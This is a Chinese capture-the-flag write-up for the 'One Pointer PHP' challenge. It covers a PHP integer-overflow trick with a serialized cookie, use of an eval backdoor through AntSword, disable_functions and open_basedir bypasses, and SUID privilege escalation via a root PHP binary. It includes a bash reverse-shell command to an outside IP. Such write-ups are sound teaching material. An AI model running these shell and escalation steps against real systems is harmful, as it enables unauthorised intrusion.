[蓝帽杯 2021]One Pointer PHP
[蓝帽杯 2021]One Pointer PHP
考点
PHP整数溢出绕过数组赋值
disable_functions bypass
open_basedir bypass
SUID提权
PHP提权
攻击 php-fpm 绕过 disable_functions
wp
我的想法
给了源码,代码比较少,user.php
定义了User
类,有一个count
属性
add_api.php
先对cookie
中的data
进行反序列化,然后把反序列化后User
类的count
属性加一赋值给count
数组,作为key,对应的value为1
。$count[]=1
是对数组的最后一个元素赋值,然后反序列化的User
类的count
属性再加一
举个例子,如果这里反序列化的是O:4:"User":1:{s:5:"count";i:1;}
那么反序列化后的user是object(User)#1 (1) { ["count"]=> int(1) }
然后执行数组赋值$count[++$user->count]=1
,此时的user是object(User)#1 (1) { ["count"]=> int(2) }
count数组是array(1) { [2]=> int(1) }
,意思是第3个元素值为1
然后执行$count[]=1
,对后面一个元素赋值,count数组变成了array(2) { [2]=> int(1) [3]=> int(1) }
,第3个和第4个元素值为1
这样就会有一个溢出的问题,在执行$count[]=1
前,如果count数组的下标达到了整型最大,就会在执行这个语句时发生溢出。
回到题目,题目给的cookie如下
32位系统int最大取值为2147483647,64位的最大取值为9223372036854775807。由于中间有一次count的自增,所以改成9223372036854775806,就可以执行shell
disable_functions过滤了很多东西,并且设置了open_basedir
是/var/www/html
可以使用蚁剑连接shell,URL为http://386b04f5-3788-4ff5-ae86-1d103baecdb7.node4.buuoj.cn:81/add_api.php?backdoor=eval($_POST["cmd"]);
,密码为cmd
,再加上请求头
调用虚拟终端,输入ls,返回的内容是ret=127,意思是没有权限,然后就要绕过了
最后就是Linux提权,经典尝试suid提权。先查看具有root用户权限的SUID文件
有个/usr/local/bin/php,它是具有root权限的,并且当前用户可以使用php -a进入交互模式。但是蚁剑的shell没办法进行交互,浏览器更不行,所以考虑把shell反弹。在蚁剑执行bash -c 'sh -i >& /dev/tcp/81.68.218.54/44444 0>&1'
在VPS接收
然后进入PHP交互模式,绕过open_basedir读取flag
攻击 php-fpm 绕过 disable_functions(未完成)
在phpinfo可以看到是以FPM/FastCGI模式启动。
最后更新于